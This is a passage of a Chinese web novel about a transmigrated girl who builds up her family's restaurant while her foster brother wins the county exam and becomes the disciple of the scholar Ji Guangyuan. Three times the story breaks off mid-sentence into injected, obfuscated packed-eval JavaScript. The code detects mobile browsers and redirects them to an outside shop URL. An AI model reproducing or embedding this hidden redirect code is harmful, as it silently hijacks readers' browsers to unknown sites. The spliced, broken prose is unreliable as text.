叶扶秋反应极快，立刻去取了钱箱，众人来贺按例是要撒“喜钱”的，她先取了连成一串的“喜钱串”递给报子：“多谢小哥来报。” 又用力将散碎的铜钱抛洒给眼巴巴的百姓们，眉眼弯弯大声道：“诸位高邻，承蒙各位多年关照，今日为贺我叶记出了名顾宴苏顾案首，叶记接下来十日，及第粥免费供应，与大家同喜！” “好！” “叶记仁义！” 叫好声绵绵不绝，叶扶秋松下口气，又赶紧去看县令那边，只见顾宴苏已经迎了过去，正同几人交谈。 他语气疏离中带着恭敬，躬身行了一礼：“学生顾宴苏见过季老先生。” 老人见他小小年纪举止气定神闲，见官既不自矜也不惶恐，忍不住好奇道：“哦，你认得老夫是谁吗？” 14. 喜上加喜 “谁人不知庄州大儒季光源的大名，”顾宴苏直起身子肃容道，“去岁您从京中辞官返乡，整个南部省多少读书人远赴庄州，日夜企盼偶遇先生，今日学生有幸得见先生，真叫人欣喜若狂。” “哦？”季光源饶有兴致地打量他，“你瞧着可不像是欣喜若狂的样子。” “先生说笑了，”顾宴苏嘴角微弯，露出一丝恰到好处的激动，“在您面前岂敢放肆，学生不过故作镇定罢了。” “哈哈哈，你这小学生有意思！”季老先生捋着胡子笑起来，“听说你如今才十四岁？” 顾宴苏应是，季光源便又考校了他几个问题，问完忍不住大赞道：“十四岁的县案首，在整个大夏也是屈指可数。我观你言之有物腹有诗书，不错，尔来日必成大器！” 顾宴苏谢过，老人又感慨道：“老夫并非越城人，此行一来是为省亲，二来也想看看此地学风如何，如今见你便放了心，过几日就要去别的县城看看了。” 县令杨承恩连忙陪着笑脸接话：“季先生放一万个心，本官治下人人向学，风气自是好的！” 季光源似笑非笑看了他一眼，却忽然改变了主意：“那我便在县多待些时日吧，杨县令可不要嫌老夫啰嗦。” “怎么会！”杨承恩脸一僵，挤出笑脸道，“季先生莅临，是的荣幸，您想住多久住多久，本官断不敢慢待您。” 叶扶秋在一旁边安静地听着，顾宴苏在这位季先生心里挂了号，瞧杨县令对他毕恭毕敬的样子，想来至少在季先生离开之前，都不会再放任胡大来闹事。 当然，前提是顾宴苏能一直留在叶记。 叶扶秋脑筋转了转，回头看见杨县令身边的主簿徐慧，她眼睛忽然一亮：“徐主簿！您也来了！” 徐慧一愣，眯着眼睛认了半天，才忆起眼前人：“你是那天的小姑娘。” 他顿了顿，看看顾宴苏，恍然大悟：“你说的兄长原来就是本届案首？” 贵人事忙，徐慧早把自己帮忙找人做保的事忘了干净，如今到眼前才发现原来这么巧，自己帮的竟就是本届案首！ 旁边县令和季先生听到动静过来询问，徐慧连忙解释，又忍不住感慨：“真没想到，这善缘也算是结对了！世上竟有这么巧的事，若不是那小贼偷我荷包，我也不会承这姑娘的情，没帮上忙也就没了这十四岁的少年案首！” 季先生听完也大为感叹：“真是时也命也！” 他冲顾宴苏和蔼一笑：“这回多亏了你妹子，你可得好好感谢于她。” 一时间，叶扶秋和顾宴苏两人面色都怪异了起来，尤其是叶扶秋，抿唇强忍着内心的吐槽：顾宴苏估计要在心里骂死她了，明明最讨厌的就是她，结果还要在外人面前承她的情！ 但顾宴苏只是镇定地拱了手：“自当如此。” 见他似乎没有当场揭穿自己的打算，叶扶秋心脏狂跳几下，对季光源深深一礼：“三日后叶记摆席，庆贺我兄长考中，不知季老先生可愿赏脸赴宴？” 见季光源惊讶，她又道：“小女先前就说县试过后要邀徐主簿来叶记吃答谢宴，如今有您恰逢其时，若是愿意一同前来，便是锦上添花、双喜临门了。” “这也是小女的一点私心，兄长胸有沟壑，却无良师，若您赴宴时愿意点拨一二，就真的太感谢啦！” 她恰如其分的一点娇羞，好像为自己光明正大的私心而感到羞赧，但因她生得实在可爱，便让人完全生不出讨厌，只想统统都答应她。 季老先生家里也有这么大的孙女，心一软便答应了：“好，那三日后老夫便厚颜来叨扰了。” 叶扶秋大喜：“多谢先生赏光！” 她喜不自胜的样子，更做实了她一心为兄长前途着想的懂事模样，实则她心里高兴的却是：这一顿答谢宴能请到主簿和文坛大儒来叶记用膳，既为叶记饭馆站了台，又能把男主和叶记牢牢绑在一起。 试问，叶记能为顾宴苏大摆宴席，为他邀好主簿大儒，若他执意与叶记切割，谁不会说他个忘恩负义？！ 只是不知道这番小心思会不会被顾宴苏看透，叶扶秋悄悄回头看他，少年满目淡然，瞧不出喜怒。 季先生正笑着，忽然又好奇道：“既是叶记，为何姓顾？你们不是兄妹吗？” 叶扶秋嘴角梨涡一僵，忍不住歪头看顾宴苏，他却十分坦然：“并非亲兄妹，三年前我父母亡故，叶伯父接济我回来一并住着。” “原来如此，原是仁义之家。”季光源颔首，怕触及少年伤心事，便没再追问。 只是叶扶秋心里有些发虚，顾宴苏竟没当场挑清关系，可别是再憋个大的。经过这么些天相处，叶扶秋也算是明白顾宴苏心智之坚，才不会相信是男主原谅自家了呢。 又聊了几句，季老先生一行人便离去了。大人物都走了，百姓们胆子便立刻又大了起来，纷纷上前恭贺。 叶扶秋面上含笑，一一谢过：“多谢各位街坊，接下来十日叶记大酬宾，各位敬请期待。” …… 叶记门前热闹到入夜才恢复平静，等叶家父母二人返回叶记，早已从过往路人口中得知了方才之事，一时间百感交集。 叶父望着顾宴苏清瘦的身影，仍有些难以置信：“小苏竟考了案首。” 叶家这三年对顾宴苏如何，他心里再清楚不过，说来简直是惭愧，这样的情形下他都能考取头名，将来定然前途无量。 他感慨道：“小苏真是出息，你爹娘在天之灵定会为你骄傲的。” 提及父母，顾宴苏表情难得露出几分追忆时的温和，接着便又见叶父腆着脸热切补充了一句：“你和秋儿的婚事，等过两年到岁数就办了吧，我算是看着你们长大的，都知根知底，你若再能中个秀才举人，也是喜上加喜了。” 叶扶秋正喝水呢，“噗”一口喷了出来，她捶着胸口狠狠咳呛几下，才道：“爹又胡说什么呢！” 放榜之前你可不是这样说的！ 顾宴苏眼底深了几分，叶扶秋连连摆手对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099002|195504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他道：“你可别误会，我对你是一点儿想法都没有！” “最多……”她想了想，补充，“咱们互利互惠，叶家可以供你读书，你呢把案首名头借我们用用，我好打造个书香饭馆的名声。” 开玩笑，原著可是有官配的，她可不想掺和男女主的绝美爱情。 她想帮顾宴苏，不过是出于读者对主角天然的偏爱而已。 带了一丝忐忑，叶扶秋问：“那你，还愿意继续留在叶家吗？” …… 当听到叶显宗提及他和叶扶秋的娃娃亲，顾宴苏心里瞬间闪过“果然如此”的念头，叶家人一向市侩，前世他被叶小宝撕了保结没能考试，就被冷待被迫出走。 而今见他中了案首，便立刻涌上来，装腔作势向他示好。 顾宴苏早已学会不对他人报以期待，可为什么此刻心里还是会产生一阵阵刺痛？ 听到叶扶秋急切地和他撇清关系，顾宴苏心里第一个想法不是庆幸而是不悦，前世她也如这般弃自己如敝履，他就这样叫她避之不及？ 这虚情假意的关切，他不需要，他会照常离开。 顾宴苏眼眸幽深，可听见叶扶秋的问话时，却忽然鬼使神差改变了主意：“好。” 前世大儒季光源来到县时，他并未科举也无机会与之接触，那位先生德高望重，门生遍天下，是真正一心为民的儒林典范，若能得他助力，今生科考之路便能走得更快。 他这样想着，可瞧见叶扶秋眼里瞬间冒出来的惊喜，又不自然地偏过头，一边说服自己只是为了季先生才留下，一边又匪夷所思自己的想法。 他知道那理由并不足以改变他的决定。 …… 叶扶秋简直想放个烟花庆祝顾宴苏留下，现成的金手指摆着，谁不用谁是傻子。 她立刻志得意满规划起叶记小饭馆的发展之路，从濒临倒闭到朝食大受好评，考篮生意又让叶记在学子间扬了名，这一路走得不易，却也未来可期。 民风向学，顾宴苏中案首和大儒答应赴约，这对叶记来说是个绝佳的机会，三日后的答谢宴，她必须办好！ 接下来三天，叶扶秋忙的脚不沾地。 胡大没再来闹事，叶记也恢复了朝食生意，店外挂出了“庆案首，赠贺粥”的巨大招幌，闻讯而来的客人络绎不绝，都想来沾沾县案首的才气。 “叶记这粥真香啊！名字取得也好，及第粥！” “这就是案首之家么，感觉是不一样嘿，瞧人家这朝食做的，怎么感觉还透着股书香气呢？” “是啊是啊，怎么好像越来越香了？” 客人们正吃着，却忽然闻到一股浓浓的酱香，叶扶秋从后厨费力的捧出一只木桶，桶里盛满深褐色酱汁，一颗颗棕色、圆滚滚的东西在汤里浮沉。 那浓郁诱人的酱香中却夹杂着一股熟悉又陌生的气味，不会太过浓烈，也不会淡到乏味。 立马就有客人好奇发问：“这是什么？叶记又弄出新吃食了？” 15. 及第宴 叶扶秋手里的漏勺在木桶中搅了几下，清新的茶香便顺着温热的白烟升起，满屋子都是那股诱人香气。 她神秘一笑：“是琥珀蛋哦！” “琥珀蛋又是何物？” 有熟客好奇地探头打量，叶扶秋便用小碟盛出一颗给他：“李伯也是叶记老主顾了，我送您一颗尝尝。” 李伯道了谢，接过圆滚滚的琥珀蛋，深褐色的蛋壳表面布满瓷釉开片似的裂纹，剥开蛋壳便见到原本纯白的鸡蛋呈现诱人的琥珀色，他恍然道：“原来是酱鸡蛋啊，不过以前吃过的酱鸡蛋可没有这么香！” “这和酱鸡蛋可不一样，您吃了就知道了。” 众食客皆怂恿他：“快吃，告诉我们怎么样！” 李伯便小心翼翼咬了一口，沉郁的茶香和扎实的口感一同在脑海里复合，蛋白质地紧实有淡淡的咸味，除却酱味似乎还有一点甜，又香又鲜，让他忍不住又咬下一口。 口腔中传来沙沙糯糯的触感，低头一看，黄褐色的蛋黄已被咬开一半，染上浓浓茶香和酱气的蛋黄，竟毫无从前吃过的干噎口感。 众人见他一脸陶醉的样子忍不住催促：“到底怎么样啊？鸡蛋而已，能好吃到哪儿去？” 李伯三两口吃完蛋，忍不住舔干净手上的酱汁，回味道：“好吃！太好吃了！这琥珀蛋竟带着股茶香，酱香浓郁，还有回甘！” 那股熟悉的味道原来是茶香！ 众人哗然，茶叶？南方多产茶，但也不是什么唾手可得的便宜物什，这叶记煮的琥珀蛋，竟然用了茶叶，那卖价恐怕不菲。 众人有所退却。 叶扶秋一眼看出食客的心思，摆出真诚的态度道：“诸位客官，做生意讲究至诚，蒙骗客人的事我叶记绝不会做！小女跟各位交个底，这琥珀蛋原料用了茶叶，本钱着实不低，一枚成本就要三文钱，叶记所取不多，原价一枚五文，若和其他菜品一起购买则只需四文！” 被叶扶秋取名“琥珀”的茶叶蛋，成本确实颇高。 她选用便宜实惠的茶渣来煮，一斤只需二十文，但为了提升风味，还得加上饴糖和花椒等物，林林总总加在一起，三文钱已经是压到最低的成本。更别提那些由于太贵而暂时用不了的材料，八角桂皮这些现代常见的香料如今尚被当做药材使用，根本不是叶记现在能用得起的。 即使只用基础材料制作，相比一文钱一枚的生鸡蛋，叶记琥珀蛋的价格还是高出不少，比起卖高价以此牟利，叶扶秋更希望把茶叶蛋作为一个搭头，卖出更多的菜品。 这样的定价显然更易于接受，食客们没犹豫一会就纷纷加单，叶扶秋则笑眯眯给大家一一送上。 “这琥珀蛋真是不一般！” “不愧是案首之家，连卤鸡蛋都用茶叶这种风雅之物。” “太香了，老板，给我再加两个蛋！” 叶记的琥珀蛋大受好评，每日都卖到脱销，连带着其他菜品也多卖出不少，叶扶秋一算账，才三天就赚了十两银子。 足够支持她办一场小而美的答谢宴了。 …… 季大儒是从翰林院掌院学士的位置上退下来的，二品大员什么席没吃过，什么菜没见过，想叫他留下印象，就非得剑走偏锋独树一帜才行。 叶扶秋并不虚，她可是见惯现代饭馆卷生卷死的，现代人做菜最擅长就是花里胡哨，以她美食博主的见地，稍一思索，就能想到无数符合条件的菜谱。 只是古代条件有限，并非什么都能做得出来。 三天的准备时间里，叶扶秋精心设计了一套菜单，每日早市过后，她都会去采买合适的物件和菜品，必要将宴席设计完满。 提前向徐主簿和季大儒递了请帖，确定当晚二人会准时来赴宴，叶记便便立刻开始忙碌了起来。 当晚，徐慧先到了，掀开车帘便见叶记门口站着个粉衣少女，叶扶秋眉目如画，俏生生朝他一福，笑吟吟道：“方才便听见喜鹊在房檐上叫个不停，出门一看，果然就见到贵人来了！” “欸，”徐慧摆摆手，笑道，“贵人不敢当，只是吃顿便饭，不必多礼。” 他目光转向店门另一边，顾宴苏穿了一身青衣直缀，长身玉立冲他拱手见礼：“见过主簿。” 徐慧心里忍不住赞了一句“好俊俏的小子”，端着主簿的架子却只微微一笑，点头以示回应。 叶扶秋道：“季先生还没来，您先进店稍坐，我们在这里候着。” 徐慧摇摇头：“我和你们一起等，那可是季先生，慢待不得。” 叶扶秋若有所思，对季老先生的地位有了更深的认知，毕竟书里对这位早早致仕的大儒提及并不多，只知道他学识广博，为人和善。 她便没再劝，三人一同在门外等待，很快，县衙的车驾到了。 季光源来越城，没带太多下人，县令杨承恩大手包揽了他的衣食住行，因此他如今在内衙里暂住着，出门便也坐了县衙的马车。 老人家一下车就见着店门口三人一齐靠了过来，他乐呵呵道：“都在呢，老朽今夜也是借了徐主簿的光，来蹭个饭吃。” “您说得哪里话，”徐慧自谦道，“下官沾您的光才是。” 叶扶秋笑笑，伸手为两人掀开门帘：“别谦虚啦，您二位都是叶记的贵人，快请进。” 客套了几句，叶扶秋便将人引进了布置好的包厢。 一间并不算很大的房间，墙壁上挂着张墨梅图，季光源一进屋就被那张画吸引了注意，他凑近细看，画其实一般，只是边上的题字灵秀，让他忍不住多看。 季先生暗赞了声“雅”，又多瞧了画上题字几眼，才安然入座。 叶扶秋让顾宴苏陪他们聊着，便去后厨催菜，没一会功夫，叶父叶母便开始上菜——没来得及聘人，这场答谢宴全靠叶家人自力更生。 八道菜流水一般送了进来，两位客人惊奇地看向一道道新奇的菜品，叶扶秋侍立一旁亲自介绍： 锦绣迎宾、翡翠白玉、金玉满堂，荷塘月色，鱼跃龙门，荷塘月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17104303|195504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色，呦呦鹿鸣，关关雎鸠。 每道菜前都有一张洒金扇面形状的纸片，用精巧清秀的工笔小楷写上了菜名。 “荷塘月色、鱼跃龙门……”季光源缓缓念着菜牌上的文字，指着盘子饶有兴致的问叶扶秋，“这菜竟做得像画一样，不如和我们解释解释？” “自然。”叶扶秋并指为掌介绍道，“今日答谢宴取名及第宴，这八道菜由我精心设计，两道前菜、四道主菜，还有主食和甜品各一。” 寻常菜色难给见多识广的大儒留下印象，叶扶秋便以盘为画纸，用菜品在盘中作画。 譬如“荷塘月色”，深蓝色的宽边瓷盘里盛着清鸡汤，干荷叶裁剪而成的小小荷叶飘在水面上，枸杞拼凑成荷花模样点缀其中，而那轮圆月则用鱼糕蒸成，袅袅飘着白烟的鸡汤让这座荷塘宛如仙境一般。 再譬如“鱼跃龙门”，一条炸的金黄酥脆的鲤鱼立在盘中，鱼身用竹编的龙门巧妙撑起，动态栩栩如生，仿佛真要越过龙门一般。 “呦呦鹿鸣”则是用羊肉片拼成的小鹿形状，白色瓷盘里几头小鹿或举头望天，或低头吃着新鲜艾蒿组成的草坪，形态逼真，把“食野之苹”的意境呈现地惟妙惟肖。 季老先生叹为观止，带着欣赏的目光听叶扶秋介绍完了这一桌子菜，闻着饭菜的香气，早忍不住想下筷子尝尝了，还玩笑道：“意境是有了，但吃起来若是味道不好，那老夫可不依。” “好与不好，还请您举箸一试。”叶扶秋微微一笑，双手恭敬为他奉上木筷。 叶扶秋先为众宾盛了鸡汤开胃，“荷塘月色”瞧着花里胡哨，用的清汤实际也大有讲究，这是用老母鸡和上好的干贝、火腿熬出来的。 焯去浮沫的食材放到砂锅里炖煮一个半时辰，还要时刻控制火候让汤保持微沸的状态，才能不让油脂剧烈软化，保持汤色的清亮。 这可没有能随意控温的现代燃气灶，叶扶秋在灶前费了老大的功夫才控制好火势，最终呈现出这般清澈透亮的鸡汤。因为放了枸杞，回味还带着丝悠长的甘甜。 一时间所有人都在喝汤，一碗饮尽，忍不住发出“啊~”的慨叹，口中呼出一道白烟，神色尽显满足。 一碗鸡汤下肚，浑身都暖了起来，季光源伸手夹向那条金黄的鲤鱼，“咔嚓”的响声足以证明鱼皮有多酥脆，入口一嚼，外脆里嫩。油炸的裹层丝毫不显油腻，鱼肉嫩的像能挤出水来，一切都是恰到好处。 季光源大赞：“这鱼肉外壳焦脆，入口即化，妙！” 上了年纪的人难免牙口差些，叶扶秋考虑周全，宴上这些菜无一不适口，无一不美味，吃得季老先生和徐主簿顾不得风度，一口接一口根本停不下来。 如这般大人物，寻常参加宴席往往只为交流，今日这一顿饭，两位客人竟都顾不得谈天，只忙着一直进食。 叶扶秋见他们用得多，悬着的心终于放下，等到酒足饭饱，才终于恳切道： “季先生，小女有一事相求，不知当讲不当讲？” 16. 师娘 “但说无妨。” 季光源酒足饭饱，心情正好，便很大方地让叶扶秋不必拘束。 叶扶秋腼腆一笑：“倒也不是什么大事，季先生觉得今天这顿及第宴如何？” 季光源抚掌大赞：“自然是极好的，盘中有画，画中有诗，你这一桌及第宴，就算比起京师名厨都丝毫不输。” “有您这句话我就放心了。”叶扶秋夸张地拍着胸口，“我还生怕您不满意，不愿意给我题字呢！” “题字？”季光源沉吟了一声，竟道，“书法一道，老夫可并非名家。” 不等叶扶秋说话，他饶有兴致地指了指墙上的墨梅图，还有桌上的扇面菜牌道：“若要求字，为何不找这题字之人？此人书法造诣高绝，定非常人。” 叶扶秋吃了一惊，她知道这字好，可不知道季光源对它的评价竟如此之高，她目光略带迟疑，看向桌边靠坐的人。 “季先生谬赞了，小子初通文墨，怎敢与您相提并论。”顾宴苏缓缓开口，神色谦恭。 “竟是你写的？”季光源大吃一惊，“你才多大，这字笔力雄健，我还以为题字者至少得有二三十年的习字光景，莫非世上真有这样不世出的天才？” “先生过誉。” 季光源来了兴趣，站起来拉着顾宴苏就要去书房比划比划，叶扶秋乐见其成，带着几人去了书房，为他们铺好宣纸，研好墨，就等着二人炫技。 端砚里，浓黑的墨汁散发着淡淡清香，顾宴苏持一只狼毫，轻轻蘸了墨，对季光源道：“高山仰止，景行行止，学生便书写此句，敬您指点之恩。” 他用馆阁体写下八个大字，字形方正，笔触平滑，工整得叫人挑不出一丝毛病。 季光源赞叹：“若不是亲眼所见，我简直以为这是翰林院哪位学士所做，凭这一手字，老夫就能断定你在科举一途必能走至最后。” 八股取士，若能写一手绝佳的馆阁体，单卷面就赢过旁人几分，季光源一时间惜才之心大起。 他沉吟片刻，对顾宴苏道：“你可愿拜我为师？” 叶扶秋睁大了眼，这可真是意外之喜了，原著里男主一直单打独斗，可从没有这样好的师长。 顾宴苏似乎也没有料到，面上闪过一丝讶异，但很快反应过来对着季光源一揖到底：“学生愿意。” 季光源捋着胡子笑起来：“好，好孩子！” “这可真是双喜临门了，”叶扶秋笑起来，“恭喜先生喜得佳徒，也恭喜顾宴苏觅得良师。” 她由衷为顾宴苏高兴，原著里无人指引，男主在求学路上吃了不少苦，现在没了叶家当绊脚石，又有了名师，未来之路定能顺遂。 “你这丫头是会说话的。” 季先生乐呵呵的，最终还是被叶扶秋哄着提了三个大字：及第楼。 这是叶扶秋早想好要给叶记改的名字，有现成的科举大佬活招牌在，叶记不是改名，而是改命啊！ 她言笑晏晏：“待回头寻好吉日，我们就去找您行正式的拜师礼。” 季先生开玩笑：“拜师礼若少了，老夫可不依。” “包您满意！” …… 送走了客人，叶扶秋拿着题字忍不住赞叹：“真好看！” 顾宴苏因为得了名师心情正好，脸色也不像平常一样冷漠，还主动搭话问道：“你求字，是要给叶记更名？” “对啊，”叶扶秋笑吟吟，“咱家能出你这个案首，再过几年出状元也不是梦啦，叫及第楼正好，吉利！” 顾宴苏轻哼一声：“你倒是对我有信心。” 没人会以为她说的状元是指叶小宝。 气氛正好，叶扶秋笑弯了眼睛赞他：“那当然了，咱们顾小相公一表人材，一看就是文曲星下凡，将来肯定得上皇榜中状元！” 顾宴苏被她夸得脸色微红，不自然的咳嗽一声：“我去温书了，你自便。” 叶扶秋目送他仿佛落荒而逃的背影，心情更好。 次日一早，叶扶秋便带着题字出门找人刻牌匾去了，很快定好了五日之后取货。既然出了门，索性又多跑了几家店帮顾宴苏采买拜师礼。 又过几日，到了拜师的吉日，两人轻车简行，带着束脩六礼上了门，季先生已在县衙等待多时了。 正厅内，顾宴苏恭恭敬敬对孔子像行了四拜，又转身向季先生也行过四拜礼，季先生端坐在案前，面目严肃地说了段训词，饮下顾宴苏奉的热茶，这拜师礼便成了。 这一世的男主顾宴苏，十四岁拜入了大儒季光源门下。 礼毕，季先生表情松弛下来，笑道：“原先还想着在这越城县衙住不了几天，如今有了你这个弟子，怕是得另寻个住处久居了。” 顾宴苏露出愧疚之色：“是学生耽搁先生了。” “无妨，所幸老夫如今闲散之人，在哪都是一样，只是苦了你师娘，同我一道又要晚些才能回故乡。” “你这老头子，又编排我！” 说话间，一道朱紫色身影进了正厅，那是个满生华发的端庄老妇人，眉挑入鬓，凤眼圆睁，三两步就走到了季先生边上。 季先生同她讨饶：“夫人哪里的话，我是心疼你呐。” 季夫人在他肩膀上一拍：“老夫老妻的，还用得着说这些！生分。” 她说完转身面向顾宴苏，表情一下子慈眉善目起来：“呀，你就是季老头新收的学生小顾？长得可真俊呢，不错。” “见过师娘。”顾宴苏恭敬行了礼，脸色微红不敢乱看。 见他一副内敛的样子，季夫人失了兴趣，又转头看向叶扶秋，赞道：“多水灵的小姑娘，你们是一家的？叫什么名字？多大了？” “见过夫人。” 季夫人“哎”了一声，笑眯眯道，“叫我师娘就行。” 叶扶秋甜甜一笑：“师娘好，我叫叶扶秋，和兄长一样，十四岁。” “哎，你好你好。”季夫人走过来慈爱的摸摸她的脸，又牵起她的手，“好孩子，我家也有个小孙女叫明月，只比你小一岁，却是个混世魔王，没有你这样乖。” 她看似数落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17107413|195504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，语气里却全是思念，显然对小孙女很是喜爱，叶扶秋便乖巧道：“师娘这样的人物，哪能教养出坏孩子，明月妹妹想来是师娘的掌上明珠，定是个好的，真想同她见见。” 季夫人被她哄的眉开眼笑，她随季先生出来巡游这么久，难得遇上个可心人，便牵着叶扶秋往内院走：“让他们爷俩在这慢慢说，咱们进屋喝茶吃点心去，小秋陪我聊聊。” 叶扶秋自然同意。 哄老人家开心是门技术活，季夫人为人爽朗，同叶扶秋自己的奶奶有些相似，她便待老人家更加真心，把她哄得皱纹都抚平了几条。 两人话着家常，叶扶秋同她讲了自己如何拯救自家饭馆的事。季老夫人听得起劲，听到叶扶秋偷懒耍滑的养弟，气得恨不得拿藤条替她教训；听说叶记出的考篮，一个劲赞她细心有巧思；听到朝食卖的砂汤、糍饭糕，又馋得直咽口水。 老夫人叹道：“真想去你家店里尝尝，可惜老身太老啦，胃口不佳，吃什么都不香。” 叶扶秋瞧了瞧老人家面色，安慰道：“哪里老了，岁月何曾败美人，您这通身的气派，又岂是年轻人比得了的。” 又关切道：“倒是胃口不好可得调养，师娘这样的美人要是饿瘦了我可不依！” 她叉着腰歪了歪头，叫老夫人怜爱地笑出了声，伸手捏了捏她脸颊：“你这丫头，能怎么不依？” 叶扶秋眨眨眼：“当然是给您治好了！” 季老夫人被她自信的语气逗笑，乐呵呵应道：“好好好，是个有本事的。” 叶扶秋一瞧她那模样就知道她不信：“师娘可别小瞧了我，小女略懂些医术，不信我给您把把脉？” “呦，你还会把脉？”老夫人惊奇地递过来手腕，“那你试试。” 叶扶秋小心翼翼在她腕下垫了块帕子，指尖轻按，凝神细思，又瞧了瞧她舌苔，想了想才道：“脉象濡缓，舌苔薄白，您这是脾胃虚弱导致气机阻滞。” 季老夫人听得连连点头：“不错，先前寻过大夫也这样说，我这是老毛病了，抓了不少药却始终不见好。” “这有何难，”叶扶秋拍拍胸脯自信道，“不必吃药，食疗便是，叶记可有独门秘方，等我设计套食谱，包管帮您调养好！” 老夫人半信半疑，含笑道：“若真能治好，老身可重重有赏。” “那您可得早做准备了，这赏啊我志在必得！” 说完，两人一并笑了起来，季老夫人却还是没太当真，脾胃的毛病说轻不轻、说重也重，名医都治不好的问题，叶扶秋一个小姑娘哪能这么轻易解决，不过是看在小辈一片赤诚之心的份上，给她点鼓励罢了。 老夫人打定了主意，甭管最终能不能治好，都得赏她点什么。 等正厅里师徒二人聊完，叶扶秋同顾宴苏一道拜别了师父师娘，回家去了。 如今顾宴苏同叶家关系有所缓和，还在她促成下拜得名师，叶扶秋心里巨石落下大半，心情颇好地忙起手下活计。 答应要给季老夫人做的食谱，她已经想好了。 17. 八珍糕 朝食生意叶父叶母已经逐渐上手，叶扶秋也不必再时刻盯着，因此有空来做给季老夫人定制的食谱。 闲聊时她问过，老夫人爱吃甜的，就决定先做些好克化的糕点。 今日要做的，便是茯苓八珍糕。 这八珍糕原是宫廷贵人爱食的方子，健脾益胃，宁心安神。不过原方口感粗糙，今个做的是她当中医教授的父亲，改良过的配方，口感更好，也更为养生。 叶扶秋买了批色泽白净、品质不错的淮山，配上莲子、扁豆和薏米，统统洗净再放进蒸锅里一起蒸熟。 等待的功夫也没闲着，又取了芡实、茯苓、山楂还有麦芽，一堆药材倒进大石臼里准备研磨成粉，石杵很重，叶扶秋握着它研磨了没多久，手就酸得不像话了，完全是咬着牙坚持，才终于把这堆药材统统磨成细腻的粉质。 甩了甩酸涩的双手，叶扶秋擦擦汗，又端出口大锅，把磨好的药粉和糯米粉一起加进去炒香。 等米粉炒完，前头蒸锅里的材料也蒸好了，碾碎加进米粉一起揉捏，再加上黑芝麻和饴糖，很快就已经能闻到淡淡的清香。 揉了一会，觉得粉团太干，叶扶秋往里头加些水，反复调整了半天，总算把这一堆食材都揉捏均匀。 既要送给季老夫人，卖相太差可不行，家里没有现成的模具，她只好手动整形。把粉团搓成大小相同的剂子，叶扶秋手指灵巧，三两下就将粉团一个个捏成花朵的样子。 一颗颗白色的糕团花朵整齐排列着送进蒸炉，叶扶秋取了甜菜根的汁水在糕团中间点做花芯，洁白糕点上一点嫣红，看着可爱又诱人。 大火蒸了一炷香时间，掀开盖子，滚烫而致密的水气便扑面而来，随手挥散那道白烟，就闻见了八珍糕的味道，微甜，带着一点米粉的糯香。 咬上一口，又绵又糯，口感扎实，却并不黏牙，仔细品品，还能尝到莲子和麦芽的清甜。至于点缀其中的黑芝麻，则让糕团的口感更加丰富，一颗颗芝麻在唇齿间爆开，增添了几分咀嚼的乐趣。 取出花糕装进食盒，食盒是她特意买的，朱红色外壳，里面有道隔板，正好能放两层糕点。 叶扶秋提着糕点便去寻季夫人，随从把她引到老人家面前的时候，把人惊了一跳：“好孩子，这么快就做出来了？” 叶扶秋乖巧道：“给师娘做当然要上心，您快尝尝，这是茯苓八珍糕，健脾补胃，极为养人。” 食盒一打开，还温热的糕点便散发出淡淡的甜香，老夫人用布巾擦过手便取了一粒，轻轻一咬，绵密的糕点就在嘴里化开，她眼睛一亮：“好吃！” 叶扶秋目中含笑，坐在一旁静静看着，她就说这八珍糕没人能拒绝得了。 老夫人生性爽直，平日因脾胃不佳，于饮食十分克制，今天吃了这糕竟一反常态，连吃了三块才放下手。 她擦了擦嘴，满足道：“这八珍糕当真好克化，一不留神，竟贪吃了这许多。” “哪里算多，您胃口好了这是好事，多吃才是福呢！”叶扶秋笑着劝她，“您喜欢就好，这糕是养胃的，日后我勤给您送来，多吃些慢慢调理，脾胃很快就大好了。” 季老夫人看看糕又看看叶扶秋，想了想从头上取下一对丹凤朝阳黄金掩鬓，递到她面前：“好孩子，这对掩鬓给你戴着玩。” 叶扶秋连连摆手：“使不得使不得，这太贵重了，一点糕点而已，值不得师娘这般重礼。” 老夫人作势板起脸：“长者赐，不可辞，你要是不收，师娘可生气了。” “这……” 叶扶秋犹豫着，老夫人一把将金掩鬓塞到她手里，笑起来：“快收着，老身还能差这点首饰不成，你是个好的，师娘疼你。” 叶扶秋只好收下，看着老人家慈眉善目的样子，心头一酸，想起现世自己早逝的祖母，诚恳道：“那我就斗胆收下了，师娘待我的好，扶秋定铭记在心里。” 她这声师娘叫得更加真心了，大儒季光源夫妇二人都是顶好的人，季先生收徒不拘出身，季夫人也不嫌弃她是个商女，半点没有沾染高门大户扒高踩低的陋习。 而与之相对的另一边，此地官差却是沆瀣一气为虎作伥。 …… 